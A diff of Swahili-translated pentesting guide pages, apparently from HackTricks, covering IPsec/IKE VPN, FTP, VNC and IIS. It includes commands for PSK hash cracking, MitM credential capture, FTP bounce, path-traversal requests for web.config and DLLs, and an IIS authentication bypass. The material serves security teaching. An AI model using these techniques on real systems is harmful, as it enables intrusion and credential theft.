(Kutoka kwa kitabu **Network Security Assessment: Know Your Network**): Pia inawezekana kupata majina halali ya watumiaji kwa kunasa muunganisho kati ya mteja wa VPN na seva, kwani pakiti ya kwanza ya hali ya shambulio inayojumuisha kitambulisho cha mteja inatumwa wazi
|
||||
|
||||
.png>)
|
||||
|
||||
## Capturing & cracking the hash
|
||||
|
||||
Hatimaye, Ikiwa umepata **mabadiliko halali** na **jina la kundi** na ikiwa **hali ya shambulio inaruhusiwa**, basi unaweza kwa urahisi sana kupata hash inayoweza kufichuliwa:
|
||||
Hatimaye, Ikiwa umepata **mabadiliko halali** na **jina la kundi** na ikiwa **hali ya shambulio inaruhusiwa**, basi unaweza kwa urahisi kuchukua hash inayoweza kufichuliwa:
|
||||
```bash
|
||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||
```
|
||||
@ -175,9 +177,9 @@ psk-crack -d <Wordlist_path> psk.txt
|
||||
```
|
||||
## **XAuth**
|
||||
|
||||
**Aggressive mode IKE** iliyounganishwa na **Pre-Shared Key (PSK)** inatumika mara nyingi kwa madhumuni ya **uthibitishaji wa kundi**. Njia hii inapanuliwa na **XAuth (Extended Authentication)**, ambayo inatoa safu ya ziada ya **uthibitishaji wa mtumiaji**. Uthibitishaji kama huu kwa kawaida unategemea huduma kama **Microsoft Active Directory**, **RADIUS**, au mifumo inayofanana.
|
||||
**Aggressive mode IKE** iliyounganishwa na **Pre-Shared Key (PSK)** mara nyingi inatumika kwa madhumuni ya **uthibitishaji wa kikundi**. Njia hii inapanuliwa na **XAuth (Extended Authentication)**, ambayo inatoa safu ya ziada ya **uthibitishaji wa mtumiaji**. Uthibitishaji huu kwa kawaida unategemea huduma kama **Microsoft Active Directory**, **RADIUS**, au mifumo inayofanana.
|
||||
|
||||
Katika kuhamia kwa **IKEv2**, mabadiliko makubwa yanaonekana ambapo **EAP (Extensible Authentication Protocol)** inatumika badala ya **XAuth** kwa lengo la kuthibitisha watumiaji. Mabadiliko haya yanaonyesha maendeleo katika mbinu za uthibitishaji ndani ya itifaki za mawasiliano salama.
|
||||
Katika kuhamia kwenye **IKEv2**, mabadiliko makubwa yanaonekana ambapo **EAP (Extensible Authentication Protocol)** inatumika badala ya **XAuth** kwa lengo la kuthibitisha watumiaji. Mabadiliko haya yanaonyesha maendeleo katika mbinu za uthibitishaji ndani ya itifaki za mawasiliano salama.
|
||||
|
||||
### MitM ya mtandao wa ndani ili kukamata akidi
|
||||
|
||||
@ -185,7 +187,7 @@ Hivyo unaweza kukamata data ya kuingia kwa kutumia _fiked_ na kuona kama kuna ji
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
Pia, kutumia IPSec jaribu kufanya shambulio la MitM na kuzuia trafiki yote kwenye bandari 500, ikiwa tunnel ya IPSec haiwezi kuanzishwa labda trafiki itatumwa wazi.
|
||||
Pia, ukitumia IPSec jaribu kufanya shambulio la MitM na kuzuia trafiki yote kwenye bandari 500, ikiwa tunnel ya IPSec haiwezi kuanzishwa labda trafiki itatumwa wazi.
|
||||
|
||||
### Brute-forcing XAUTH username na password kwa ikeforce
|
||||
|
||||
@ -199,7 +201,7 @@ Ikiwa umepata moja au zaidi ya mabadiliko halali, tumia tu kama katika hatua zil
|
||||
|
||||
## Uthibitishaji na IPSEC VPN
|
||||
|
||||
Katika Kali, **VPNC** inatumika kuanzisha mabomba ya IPsec. **Profaili** zinapaswa kuwa katika saraka `/etc/vpnc/`. Unaweza kuanzisha profaili hizi kwa kutumia amri _**vpnc**_.
|
||||
Katika Kali, **VPNC** inatumika kuanzisha mabomba ya IPsec. **Profaili** lazima ziwe katika saraka `/etc/vpnc/`. Unaweza kuanzisha profaili hizi kwa kutumia amri _**vpnc**_.
|
||||
|
||||
Amri na mipangilio ifuatayo inaonyesha mchakato wa kuanzisha muunganisho wa VPN na VPNC:
|
||||
```bash
|
||||
@ -215,15 +217,15 @@ root@system:~# vpnc samplevpn
|
||||
VPNC started in background (pid: [PID])...
|
||||
root@system:~# ifconfig tun0
|
||||
```
|
||||
Katika usanidi huu:
|
||||
Katika mpangilio huu:
|
||||
|
||||
- Badilisha `[VPN_GATEWAY_IP]` na anwani halisi ya IP ya VPN gateway.
|
||||
- Badilisha `[VPN_CONNECTION_ID]` na kitambulisho cha muunganisho wa VPN.
|
||||
- Badilisha `[VPN_GROUP_SECRET]` na siri ya kundi la VPN.
|
||||
- Badilisha `[VPN_USERNAME]` na `[VPN_PASSWORD]` na akreditivu za uthibitishaji za VPN.
|
||||
- `[PID]` inaashiria kitambulisho cha mchakato ambacho kitapewa wakati `vpnc` inapoanzishwa.
|
||||
- `[PID]` inasimamia kitambulisho cha mchakato ambacho kitapewa wakati `vpnc` inapoanzishwa.
|
||||
|
||||
Hakikisha kwamba thamani halisi, salama zinatumika kubadilisha nafasi za wazi wakati wa kuunda VPN.
|
||||
Hakikisha kuwa thamani halisi, salama zinatumika kubadilisha nafasi za nafasi wakati wa kuunda VPN.
|
||||
|
||||
## Nyenzo za Marejeo
|
||||
|
||||
|
@ -4,8 +4,8 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**File Transfer Protocol (FTP)** inatumika kama itifaki ya kawaida kwa ajili ya uhamishaji wa faili kati ya mtandao wa kompyuta kati ya seva na mteja.\
|
||||
Ni itifaki ya **plain-text** inayotumia kama **karakteri mpya `0x0d 0x0a`** hivyo wakati mwingine unahitaji **kuunganisha kwa kutumia `telnet`** au **`nc -C`**.
|
||||
**File Transfer Protocol (FTP)** ni itifaki ya kawaida ya uhamishaji wa faili kati ya mtandao wa kompyuta kati ya seva na mteja.\
|
||||
Ni itifaki ya **plain-text** inayotumia **karakteri mpya `0x0d 0x0a`** hivyo wakati mwingine unahitaji **kuunganisha kwa kutumia `telnet`** au **`nc -C`**.
|
||||
|
||||
**Default Port:** 21
|
||||
```
|
||||
@ -16,11 +16,11 @@ PORT STATE SERVICE
|
||||
|
||||
Katika **Active FTP**, **mteja** wa FTP kwanza **ananzisha** **muunganisho** wa udhibiti kutoka bandari yake N hadi bandari ya amri ya FTP Server - bandari 21. **Mteja** kisha **anasikiliza** bandari **N+1** na kutuma bandari N+1 kwa FTP Server. FTP **Server** kisha **ananzisha** **muunganisho** wa data, kutoka **bandari yake M hadi bandari N+1** ya Mteja wa FTP.
|
||||
|
||||
Lakini, ikiwa Mteja wa FTP ana mfumo wa moto ambao unadhibiti muunganisho wa data unaoingia kutoka nje, basi Active FTP inaweza kuwa tatizo. Na, suluhisho linalowezekana kwa hilo ni Passive FTP.
|
||||
Lakini, ikiwa Mteja wa FTP ana mfumo wa moto (firewall) ulioanzishwa ambao unadhibiti muunganisho wa data unaoingia kutoka nje, basi Active FTP inaweza kuwa tatizo. Na, suluhisho linalowezekana kwa hilo ni Passive FTP.
|
||||
|
||||
Katika **Passive FTP**, mteja anaanzisha muunganisho wa udhibiti kutoka bandari yake N hadi bandari 21 ya FTP Server. Baada ya hii, mteja anatoa **amri ya passv**. Server kisha inatuma mteja nambari yake ya bandari M. Na **mteja** **ananzisha** **muunganisho** wa data kutoka **bandari yake P hadi bandari M** ya FTP Server.
|
||||
Katika **Passive FTP**, mteja anaanzisha muunganisho wa udhibiti kutoka bandari yake N hadi bandari 21 ya FTP Server. Baada ya hii, mteja anatoa **amri ya passv**. Server kisha inatuma nambari moja ya bandari yake M kwa mteja. Na **mteja** **ananzisha** **muunganisho** wa data kutoka **bandari yake P hadi bandari M** ya FTP Server.
|
||||
|
||||
Chanzo: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
### Connection debugging
|
||||
|
||||
@ -45,7 +45,7 @@ lftp 10.10.10.208:~> login username Password
|
||||
```
|
||||
### Unauth enum
|
||||
|
||||
Na **nmap**
|
||||
With **nmap**
|
||||
```bash
|
||||
sudo nmap -sV -p21 -sC -A 10.10.10.10
|
||||
```
|
||||
@ -85,7 +85,7 @@ SIZE
|
||||
STAT
|
||||
#Info about the FTP server (version, configs, status...)
|
||||
```
|
||||
### Kuingia kwa siri
|
||||
### Anonymous login
|
||||
|
||||
_anonymous : anonymous_\
|
||||
\&#xNAN;_anonymous :_\
|
||||
@ -105,7 +105,7 @@ Hapa unaweza kupata orodha nzuri ya akauti za ftp za default: [https://github.co
|
||||
|
||||
### Automated
|
||||
|
||||
Anon login na bounce FTP checks zinafanywa kwa default na nmap kwa kutumia chaguo **-sC** au:
|
||||
Anon login na bounce FTP checks zinafanywa kwa default na nmap kwa kutumia chaguo la **-sC** au:
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
@ -115,42 +115,42 @@ Unaweza kuungana na seva ya FTP kwa kutumia kivinjari (kama Firefox) kwa kutumia
|
||||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
Kumbuka kwamba ikiwa **programu ya wavuti** inatuma data inayodhibitiwa na mtumiaji **moja kwa moja kwa seva ya FTP** unaweza kutuma double URL encode `%0d%0a` (katika double URL encode hii ni `%250d%250a`) bytes na kufanya **seva ya FTP ifanye vitendo vya kiholela**. Mojawapo ya vitendo hivi vya kiholela ni kupakua maudhui kutoka kwa seva inayodhibitiwa na mtumiaji, kufanya skanning ya port au kujaribu kuzungumza na huduma zingine za msingi wa maandiko wazi (kama http).
|
||||
Kumbuka kwamba ikiwa **programu ya wavuti** inatuma data inayodhibitiwa na mtumiaji **moja kwa moja kwa seva ya FTP** unaweza kutuma double URL encode `%0d%0a` (katika double URL encode hii ni `%250d%250a`) bytes na kufanya **seva ya FTP ifanye vitendo vya kiholela**. Mojawapo ya vitendo hivi vya kiholela ni kupakua maudhui kutoka kwa seva inayodhibitiwa na mtumiaji, kufanya skanning ya port au kujaribu kuzungumza na huduma zingine za msingi wa maandiko ya wazi (kama http).
|
||||
|
||||
## Pakua faili zote kutoka FTP
|
||||
```bash
|
||||
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
|
||||
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
|
||||
```
|
||||
Ikiwa jina la mtumiaji/siri yako ina wahusika maalum, [amri ifuatayo](https://stackoverflow.com/a/113900/13647948) inaweza kutumika:
|
||||
Ikiwa jina la mtumiaji/nenosiri lako lina wahusika maalum, [amri ifuatayo](https://stackoverflow.com/a/113900/13647948) inaweza kutumika:
|
||||
```bash
|
||||
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
```
|
||||
## Amri ya FTP
|
||||
## Some FTP commands
|
||||
|
||||
- **`USER username`**
|
||||
- **`PASS password`**
|
||||
- **`HELP`** Seva inaonyesha amri zipi zinasaidiwa
|
||||
- **`PORT 127,0,0,1,0,80`** Hii itaonyesha seva ya FTP kuanzisha muunganisho na IP 127.0.0.1 kwenye bandari 80 (_unahitaji kuweka herufi ya 5 kama "0" na ya 6 kama bandari kwa desimali au tumia ya 5 na 6 kuonyesha bandari kwa hex_).
|
||||
- **`EPRT |2|127.0.0.1|80|`** Hii itaonyesha seva ya FTP kuanzisha muunganisho wa TCP (_inaonyeshwa na "2"_) na IP 127.0.0.1 kwenye bandari 80. Amri hii **inaunga mkono IPv6**.
|
||||
- **`HELP`** Seva inadhihirisha amri zipi zinazoungwa mkono
|
||||
- **`PORT 127,0,0,1,0,80`** Hii itamwambia seva ya FTP kuanzisha muunganisho na IP 127.0.0.1 kwenye bandari 80 (_unahitaji kuweka herufi ya 5 kama "0" na ya 6 kama bandari kwa desimali au tumia herufi ya 5 na 6 kuonyesha bandari kwa hex_).
|
||||
- **`EPRT |2|127.0.0.1|80|`** Hii itamwambia seva ya FTP kuanzisha muunganisho wa TCP (_unaonyeshwa na "2"_) na IP 127.0.0.1 kwenye bandari 80. Amri hii **inaunga mkono IPv6**.
|
||||
- **`LIST`** Hii itatuma orodha ya faili katika folda ya sasa
|
||||
- **`LIST -R`** Orodha kwa njia ya kurudi (ikiwa inaruhusiwa na seva)
|
||||
- **`APPE /path/something.txt`** Hii itaonyesha FTP kuhifadhi data iliyopokelewa kutoka kwa muunganisho wa **passive** au kutoka kwa muunganisho wa **PORT/EPRT** kwenye faili. Ikiwa jina la faili lipo, litazidisha data.
|
||||
- **`APPE /path/something.txt`** Hii itamwambia FTP kuhifadhi data iliyopokelewa kutoka kwa muunganisho wa **passive** au kutoka kwa muunganisho wa **PORT/EPRT** kwenye faili. Ikiwa jina la faili lipo, litazidisha data.
|
||||
- **`STOR /path/something.txt`** Kama `APPE` lakini itafuta faili
|
||||
- **`STOU /path/something.txt`** Kama `APPE`, lakini ikiwa ipo haitafanya chochote.
|
||||
- **`RETR /path/to/file`** Muunganisho wa passive au wa bandari lazima uanzishwe. Kisha, seva ya FTP itatuma faili iliyoonyeshwa kupitia muunganisho huo
|
||||
- **`REST 6`** Hii itaonyesha seva kwamba wakati ujao itakapositisha kitu kwa kutumia `RETR` inapaswa kuanza kwenye byte ya 6.
|
||||
- **`REST 6`** Hii itamwambia seva kwamba wakati wa kutuma kitu kwa kutumia `RETR` inapaswa kuanza kwenye byte ya 6.
|
||||
- **`TYPE i`** Weka uhamishaji kuwa wa binary
|
||||
- **`PASV`** Hii itafungua muunganisho wa passive na itaonyesha mtumiaji wapi anaweza kuunganishwa
|
||||
- **`PASV`** Hii itafungua muunganisho wa passive na itamwambia mtumiaji wapi anaweza kuunganishwa
|
||||
- **`PUT /tmp/file.txt`** Pakia faili iliyoonyeshwa kwenye FTP
|
||||
|
||||
.png>)
|
||||
|
||||
## Shambulio la FTPBounce
|
||||
## FTPBounce attack
|
||||
|
||||
Seva zingine za FTP zinaruhusu amri ya PORT. Amri hii inaweza kutumika kuonyesha kwa seva kwamba unataka kuungana na seva nyingine ya FTP kwenye bandari fulani. Kisha, unaweza kutumia hii kuchunguza ni bandari zipi za mwenyeji ziko wazi kupitia seva ya FTP.
|
||||
|
||||
[**Jifunze hapa jinsi ya kutumia seva ya FTP kuchunguza bandari.**](ftp-bounce-attack.md)
|
||||
[**Learn here how to abuse a FTP server to scan ports.**](ftp-bounce-attack.md)
|
||||
|
||||
Unaweza pia kutumia tabia hii kufanya seva ya FTP ishughulike na protokali nyingine. Unaweza **kupakia faili inayoshikilia ombi la HTTP** na kufanya seva ya FTP iliyo hatarini **itume kwa seva ya HTTP isiyo na mpangilio** (_labda kuongeza mtumiaji mpya wa admin?_) au hata kupakia ombi la FTP na kufanya seva ya FTP iliyo hatarini ipakue faili kutoka seva nyingine ya FTP.\
|
||||
Nadharia ni rahisi:
|
||||
@ -164,20 +164,20 @@ Ni uwezekano mkubwa kwamba hii **itaonyesha kosa kama** _**Socket not writable**
|
||||
|
||||
- Ikiwa unatumia ombi la HTTP, **weka ombi sawa moja baada ya nyingine** hadi **\~0.5MB** angalau. Kama hii:
|
||||
|
||||
{% file src="../../images/posts.txt" %}
|
||||
{{#file}}
|
||||
posts.txt
|
||||
{% endfile %}
|
||||
{{#endfile}}
|
||||
|
||||
- Jaribu **kujaza ombi na data "za takataka" zinazohusiana na protokali** (ukizungumza na FTP labda amri za takataka tu au kurudia maagizo ya `RETR` ili kupata faili)
|
||||
- Tu **jaza ombi na wahusika wengi wa sifuri au wengine** (iliyogawanywa kwenye mistari au la)
|
||||
- Jaribu **kujaza ombi na data "junk" inayohusiana na protokali** (ukizungumza na FTP labda amri za junk tu au kurudia maagizo ya `RETR` ili kupata faili)
|
||||
- Tu **jaza ombi na wahusika wengi wa null au wengine** (iliyogawanywa kwenye mistari au la)
|
||||
|
||||
Hata hivyo, hapa kuna [mfano wa zamani kuhusu jinsi ya kutumia hii kufanya seva ya FTP ipakue faili kutoka seva nyingine ya FTP.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Uthibitisho wa Server ya Filezilla
|
||||
## Filezilla Server Vulnerability
|
||||
|
||||
**FileZilla** kawaida **huunganisha** kwenye **mitaa** huduma ya **Utawala** kwa **FileZilla-Server** (bandari 14147). Ikiwa unaweza kuunda **tunnel** kutoka **kifaa chako** kufikia bandari hii, unaweza **kuungana** nayo kwa kutumia **nenosiri tupu** na **kuunda** mtumiaji **mpya** kwa huduma ya FTP.
|
||||
**FileZilla** kawaida **huunganisha** na **local** huduma ya **Administrative** kwa **FileZilla-Server** (bandari 14147). Ikiwa unaweza kuunda **tunnel** kutoka **kifaa chako** kufikia bandari hii, unaweza **kuungana** nayo kwa kutumia **nenosiri tupu** na **kuunda** mtumiaji **mpya** kwa huduma ya FTP.
|
||||
|
||||
## Faili za Mipangilio
|
||||
## Config files
|
||||
```
|
||||
ftpusers
|
||||
ftp.conf
|
||||
@ -191,11 +191,11 @@ Mipangilio ya kawaida ya vsFTPd inaweza kupatikana katika `/etc/vsftpd.conf`. Ha
|
||||
- `anonymous_enable=YES`
|
||||
- `anon_upload_enable=YES`
|
||||
- `anon_mkdir_write_enable=YES`
|
||||
- `anon_root=/home/username/ftp` - Katalogi ya watu wasiojulikana.
|
||||
- `chown_uploads=YES` - Badilisha umiliki wa faili zilizopakiwa kwa siri
|
||||
- `chown_username=username` - Mtumiaji ambaye anapewa umiliki wa faili zilizopakiwa kwa siri
|
||||
- `anon_root=/home/username/ftp` - Katalogi ya kwa ajili ya wasiojulikana.
|
||||
- `chown_uploads=YES` - Badilisha umiliki wa faili zilizopakiwa kwa njia isiyo ya kujulikana
|
||||
- `chown_username=username` - Mtumiaji ambaye anapewa umiliki wa faili zilizopakiwa kwa njia isiyo ya kujulikana
|
||||
- `local_enable=YES` - Ruhusu watumiaji wa ndani kuingia
|
||||
- `no_anon_password=YES` - Usisite watu wasiojulikana kwa nenosiri
|
||||
- `no_anon_password=YES` - Usimuulize wasiojulikana kuhusu nenosiri
|
||||
- `write_enable=YES` - Ruhusu amri: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, na SITE
|
||||
|
||||
### Shodan
|
||||
|
@ -2,17 +2,16 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Virtual Network Computing (VNC)** ni mfumo thabiti wa kushiriki desktop wa picha unaotumia itifaki ya **Remote Frame Buffer (RFB)** kuruhusu udhibiti wa mbali na ushirikiano na kompyuta nyingine. Kwa VNC, watumiaji wanaweza kuingiliana kwa urahisi na kompyuta ya mbali kwa kutuma matukio ya kibodi na panya kwa pande zote mbili. Hii inaruhusu ufikiaji wa wakati halisi na inarahisisha msaada wa mbali au ushirikiano kwa mtandao.
|
||||
**Virtual Network Computing (VNC)** ni mfumo thabiti wa kushiriki desktop wa picha unaotumia itifaki ya **Remote Frame Buffer (RFB)** kuwezesha udhibiti wa mbali na ushirikiano na kompyuta nyingine. Kwa VNC, watumiaji wanaweza kuingiliana kwa urahisi na kompyuta ya mbali kwa kutuma matukio ya kibodi na panya kwa pande mbili. Hii inaruhusu ufikiaji wa wakati halisi na inarahisisha msaada wa mbali au ushirikiano kupitia mtandao.
|
||||
|
||||
VNC kwa kawaida hutumia bandari **5800 au 5801 au 5900 au 5901.**
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5900/tcp open vnc
|
||||
```
|
||||
## Uhesabu
|
||||
## Uainishaji
|
||||
```bash
|
||||
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/vnc/vnc_none_auth
|
||||
@ -23,24 +22,25 @@ msf> use auxiliary/scanner/vnc/vnc_none_auth
|
||||
```bash
|
||||
vncviewer [-passwd passwd.txt] <IP>::5901
|
||||
```
|
||||
## Kufungua nenosiri la VNC
|
||||
## Kuondoa siri ya nenosiri la VNC
|
||||
|
||||
Default **nenosiri limehifadhiwa** katika: \~/.vnc/passwd
|
||||
|
||||
Ikiwa una nenosiri la VNC na linaonekana limefungwa (biti chache, kama vile linaweza kuwa nenosiri lililofichwa), huenda limeandikwa kwa 3des. Unaweza kupata nenosiri wazi kwa kutumia [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
|
||||
Ikiwa una nenosiri la VNC na linaonekana limefichwa (baiti chache, kama vile linaweza kuwa nenosiri lililofichwa), huenda limeandikwa kwa 3des. Unaweza kupata nenosiri wazi kwa kutumia [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
|
||||
```bash
|
||||
make
|
||||
vncpwd <vnc password file>
|
||||
```
|
||||
Unaweza kufanya hivi kwa sababu nenosiri lililotumika ndani ya 3des kuandika nenosiri la VNC la maandiko lilirudishwa nyuma miaka mingi.\
|
||||
Unaweza kufanya hivi kwa sababu nenosiri lililotumika ndani ya 3des kuandika nenosiri la VNC la maandiko lilirudishwa nyuma miaka mingi iliyopita.\
|
||||
Kwa **Windows** unaweza pia kutumia chombo hiki: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||
Ninahifadhi chombo hapa pia kwa urahisi wa ufikiaji:
|
||||
Ninahifadhi chombo hapa pia kwa urahisi wa upatikanaji:
|
||||
|
||||
{% file src="../images/vncpwd.zip" %}
|
||||
{{#file}}
|
||||
vncpwd.zip
|
||||
{{#endfile}}
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:5900 RFB`
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -37,7 +37,9 @@ Taarifa zaidi na mbinu za kutumia udhaifu huu [here](https://soroush.secproject.
|
||||
|
||||
Pakua orodha niliyounda:
|
||||
|
||||
{% file src="../../images/iisfinal.txt" %}
|
||||
{{#file}}
|
||||
iisfinal.txt
|
||||
{{#endfile}}
|
||||
|
||||
Ilianzishwa kwa kuunganisha maudhui ya orodha zifuatazo:
|
||||
|
||||
@ -74,7 +76,7 @@ Hii ombi inadhihirisha mipangilio na utegemezi mbalimbali, kama vile:
|
||||
|
||||
- **EntityFramework** toleo
|
||||
- **AppSettings** kwa ajili ya kurasa za wavuti, uthibitishaji wa mteja, na JavaScript
|
||||
- **System.web** mipangilio ya uthibitishaji na wakati wa utekelezaji
|
||||
- **System.web** mipangilio ya uthibitishaji na wakati wa kukimbia
|
||||
- **System.webServer** mipangilio ya moduli
|
||||
- **Runtime** uhusiano wa mkusanyiko kwa maktaba nyingi kama **Microsoft.Owin**, **Newtonsoft.Json**, na **System.Web.Mvc**
|
||||
|
||||
@ -91,16 +93,16 @@ Programu za MVC pia zinafafanua **web.config files** za ziada kwa ajili ya names
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
### **Kupakua DLLs**
|
||||
### **Kushusha DLLs**
|
||||
|
||||
Kurejelewa kwa jina la kawaida maalum kunaashiria DLL inayoitwa "**WebApplication1**" iliyopo katika saraka ya /bin. Kufuatia hii, ombi la kupakua **WebApplication1.dll** linaonyeshwa:
|
||||
Kurejelea jina la kawaida la kawaida kunaashiria DLL inayoitwa "**WebApplication1**" iliyopo katika saraka ya /bin. Kufuatia hii, ombi la kushusha **WebApplication1.dll** linaonyeshwa:
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
Hii inaashiria uwepo wa DLL nyingine muhimu, kama **System.Web.Mvc.dll** na **System.Web.Optimization.dll**, katika saraka ya /bin.
|
||||
Hii inaonyesha uwepo wa DLL nyingine muhimu, kama **System.Web.Mvc.dll** na **System.Web.Optimization.dll**, katika saraka ya /bin.
|
||||
|
||||
Katika hali ambapo DLL inapata namespace inayoitwa **WebApplication1.Areas.Minded**, mshambuliaji anaweza kudhani uwepo wa faili nyingine za web.config katika njia zinazoweza kutabiriwa, kama **/area-name/Views/**, zikiwa na mipangilio maalum na marejeleo kwa DLL nyingine katika folda ya /bin. Kwa mfano, ombi kwa **/Minded/Views/web.config** linaweza kufichua mipangilio na namespaces zinazodhihirisha uwepo wa DLL nyingine, **WebApplication1.AdditionalFeatures.dll**.
|
||||
Katika hali ambapo DLL inapata namespace inayoitwa **WebApplication1.Areas.Minded**, mshambuliaji anaweza kudhani uwepo wa faili nyingine za web.config katika njia zinazoweza kutabiriwa, kama **/area-name/Views/**, zikiwa na mipangilio maalum na marejeleo kwa DLL nyingine katika folda ya /bin. Kwa mfano, ombi kwa **/Minded/Views/web.config** linaweza kufichua mipangilio na namespaces zinazoashiria uwepo wa DLL nyingine, **WebApplication1.AdditionalFeatures.dll**.
|
||||
|
||||
### Faili za kawaida
|
||||
|
||||
@ -185,17 +187,17 @@ C:\xampp\tomcat\conf\server.xml
|
||||
|
||||
Ikiwa unaona kosa kama hili:
|
||||
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
Inamaanisha kwamba seva **haikupata jina sahihi la kikoa** ndani ya kichwa cha Host.\
|
||||
Ili kufikia ukurasa wa wavuti unaweza kuangalia **SSL Certificate** iliyotolewa na labda unaweza kupata jina la kikoa/subdomain huko. Ikiwa halipo unaweza kuhitaji **brute force VHosts** hadi upate sahihi.
|
||||
Ili kufikia ukurasa wa wavuti unaweza kuangalia **Cheti cha SSL** kilichotolewa na labda unaweza kupata jina la kikoa/subdomain huko. Ikiwa halipo unaweza kuhitaji **kujaribu VHosts** hadi upate sahihi.
|
||||
|
||||
## Old IIS vulnerabilities worth looking for
|
||||
|
||||
### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
|
||||
|
||||
Unaweza kujaribu **kuorodhesha folda na faili** ndani ya kila folda iliyogunduliwa (hata kama inahitaji Msingi Authentication) ukitumia hii **technique**.\
|
||||
Kikomo kikuu cha mbinu hii ikiwa seva ina udhaifu ni kwamba **inaweza tu kupata hadi herufi 6 za kwanza za jina la kila faili/folda na herufi 3 za kwanza za kiambatisho** cha faili.
|
||||
Unaweza kujaribu **kuorodhesha folda na faili** ndani ya kila folda iliyogunduliwa (hata kama inahitaji Msingi wa Uthibitishaji) ukitumia hii **mbinu**.\
|
||||
Kikomo kikuu cha mbinu hii ikiwa seva ina udhaifu ni kwamba **inaweza tu kupata hadi herufi 6 za kwanza za jina la kila faili/folda na herufi 3 za kwanza za kiendelezi** cha faili.
|
||||
|
||||
Unaweza kutumia [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) kujaribu udhaifu huu:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
|
||||
@ -205,13 +207,13 @@ Utafiti wa asili: [https://soroush.secproject.com/downloadable/microsoft_iis_til
|
||||
|
||||
Unaweza pia kutumia **metasploit**: `use scanner/http/iis_shortname_scanner`
|
||||
|
||||
Wazo zuri la **kupata jina la mwisho** la faili zilizogunduliwa ni **kuuliza LLMs** kwa chaguzi kama inavyofanywa katika script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||||
Wazo zuri la **kupata jina la mwisho** la faili zilizogunduliwa ni **kuuliza LLMs** kwa chaguzi kama inavyofanywa katika skripti [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||||
|
||||
### Basic Authentication bypass
|
||||
|
||||
**Bypass** uthibitisho wa msingi (**IIS 7.5**) ukijaribu kufikia: `/admin:$i30:$INDEX_ALLOCATION/admin.php` au `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
**Bypass** uthibitishaji wa msingi (**IIS 7.5**) ukijaribu kufikia: `/admin:$i30:$INDEX_ALLOCATION/admin.php` au `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
|
||||
Unaweza kujaribu **kuchanganya** udhaifu huu na wa mwisho ili kupata **folda** mpya na **kuepuka** uthibitisho.
|
||||
Unaweza kujaribu **kuchanganya** udhaifu huu na wa mwisho ili kupata **folda** mpya na **kuepuka** uthibitishaji.
|
||||
|
||||
## ASP.NET Trace.AXD enabled debugging
|
||||
|
||||
@ -234,12 +236,12 @@ ASPXAUTH inatumia taarifa zifuatazo:
|
||||
- **`decryptionIV`** (string): hex-encoded initialization vector (inategemea vector ya sifuri).
|
||||
- **`decryptionKey`** (string): ufunguo wa hex-encoded wa kutumia kwa ufichuzi.
|
||||
|
||||
Hata hivyo, watu wengine watachukua **thamani za msingi** za vigezo hivi na watatumia kama **cookie barua pepe ya mtumiaji**. Hivyo, ikiwa unaweza kupata wavuti inayotumia **jukwaa sawa** linalotumia cookie ya ASPXAUTH na wewe **uunde mtumiaji kwa barua pepe ya mtumiaji unayependa kuiga** kwenye seva inayoshambuliwa, unaweza kuwa na uwezo wa **kutumia cookie kutoka seva ya pili kwenye ya kwanza** na kuiga mtumiaji.\
|
||||
